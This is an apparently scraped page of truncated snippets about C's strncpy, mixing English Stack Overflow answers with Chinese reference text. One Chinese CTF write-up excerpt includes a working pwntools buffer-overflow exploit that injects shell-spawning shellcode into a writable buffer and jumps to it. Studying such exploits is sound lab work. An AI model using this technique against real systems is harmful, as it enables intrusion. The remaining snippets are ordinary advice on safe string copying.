strncpy

This question already has answers here : strncpy documentation question (6 answers) Closed 2 years ago . I am reading this document, it says: char *strncpy(char *destination, const char *source, size_t num); Copy characters from string Copies the first num characters of source to destination . If the end of the source C string (which is signaled by a null-character) is found before num characters have been copied, destination is padded with zeros until a total of num characters have been written to it. No null-character is implicitly appended at the end of destination if source is longer than

For exercising my programming skills in C I'm trying to write the strncpy function by myself. Doing that I kept hitting errors, solving most of them eventually I'm stuck with no further inspiration to go on. The error I receive is: ex2-1.c:29:3: warning: format ‘%s’ expects argument of type ‘char *’, but argument 2 has type ‘int’ [-Wformat=] printf("The copied string is: %s.\n", stringb); The thing is that it's a very common error and that it's also already described on SO, only I can't seem to apply the tips other people have already pointed out. I get that I'm using a wrong type when

描述 C 库函数 char *strncpy(char *dest, const char *src, size_t n) 把 src 所指向的字符串复制到 dest ，最多复制 n 个字符。当 src 的长度小于 n 时，dest 的剩余部分将用空字节填充。 声明 下面是 strncpy() 函数的声明。 char *strncpy(char *dest, const char *src, size_t n) 参数 dest -- 指向用于存储复制内容的目标数组。 src -- 要复制的字符串。 n -- 要从源中复制的字符数。 返回值 该函数返回最终复制的字符串。 实例 下面的实例演示了 strncpy() 函数的用法。在这里，我们使用函数 memset() 来清除内存位置。 1 #include <stdio.h> 2 #include <string.h> 3 4 int main() 5 { 6 char src[40]; 7 char dest[12]; 8 9 memset(dest, '\0', sizeof(dest)); 10 strcpy(src, "This is runoob.com"); 11 strncpy(dest, src, 10); 12 13 printf("最终的目标字符串： %s\n", dest); 14 15 return(0); 16

1.运行程序，没有提供 system ，32位程序，基本未开保护 2.IDA中发现 strncpy() 函数将我们输入的 v4 复制到 bss 段的 buf2 处 3.经过 gdb 查看 buf2 处的代码是具有 rwx 属性的，因此我们可以构造一段 shellcode 然后执行此处的代码。 4.查看 esp 和 ebp 来计算覆盖长度 5.构造exp #!/usr/bin/env python from pwn import * #EBP: 0xffffd158 --> 0x0 #ESP: 0xffffd0d0 --> 0xffffd0ec --> 0xf7ffd000 --> 0x26f34 sh = process('./ret2shellcode') buf_addr = 0x0804A080 payload = asm(shellcraft.sh()) #sh.recvuntil() length = 0x158 - 0xec + 4 sh.sendline(payload.ljust(length, 'a') + p32(buf_addr)) sh.interactive() 来源： https://www.cnblogs.com/Tsuiyields/p/11877354.html

可以将文章内容翻译成中文,广告屏蔽插件可能会导致该功能失效(如失效，请关闭广告屏蔽插件后再试): 选择语言 中文(简体) 日语 英语 中文(繁体) 由 翻译 强力驱动 问题: I have a string: char * someString ; If I want the first five letters of this string and want to set it to otherString , how would I do it? 回答1: #include <string.h> ... char otherString [ 6 ]; // note 6, not 5, there's one there for the null terminator ... strncpy ( otherString , someString , 5 ); otherString [ 5 ] = '\0' ; // place the null terminator 回答2: char * someString = "abcdedgh" ; char * otherString = 0 ; otherString = ( char *) malloc ( 5 + 1 ); memcpy ( otherString , someString , 5 ); otherString

可以将文章内容翻译成中文,广告屏蔽插件可能会导致该功能失效(如失效，请关闭广告屏蔽插件后再试): 问题: I understand that strlcpy and strlcat were designed as secure replacements for strncpy and strncat . However, some people are still of the opinion that they are insecure, and simply cause a different type of problem . Can someone give an example of how using strlcpy or strlcat (i.e. a function that always null terminates its strings) can lead to security problems? Ulrich Drepper and James Antill state this is true, but never provide examples or clarify this point. 回答1: Firstly, strlcpy has never been intended as a secure version of strncpy

可以将文章内容翻译成中文,广告屏蔽插件可能会导致该功能失效(如失效，请关闭广告屏蔽插件后再试): 问题: Trying to copy a char *str to char c[] but getting segmentation fault or invalid initializer error. Why is this code is giving me a seg fault ? char *token = "some random string"; char c[80]; strcpy( c, token); strncpy(c, token, sizeof c - 1); c[79] = '\0'; char *broken = strtok(c, "#"); 回答1: use strncpy() rather than strcpy() /* code not tested */ #include int main(void) { char *src = "gkjsdh fkdshfkjsdhfksdjghf ewi7tr weigrfdhf gsdjfsd jfgsdjf gsdjfgwe"; char dst[10]; /* not enough for all of src */ strcpy(dst, src); /* BANG!!! */ strncpy

可以将文章内容翻译成中文,广告屏蔽插件可能会导致该功能失效(如失效，请关闭广告屏蔽插件后再试): 问题: I am using the code below: char filename[ 255 ]; strncpy( filename, getenv( "HOME" ), 235 ); strncat( filename, "/.config/stationlist.xml", 255 ); Get this message: (warning) Dangerous usage of strncat - 3rd parameter is the maximum number of characters to append. (error) Dangerous usage of 'filename' (strncpy doesn't always null-terminate it). 回答1: I typically avoid using str*cpy() and str*cat() . You have to contend with boundary conditions, arcane API definitions, and unintended performance consequences. You can use snprintf() instead.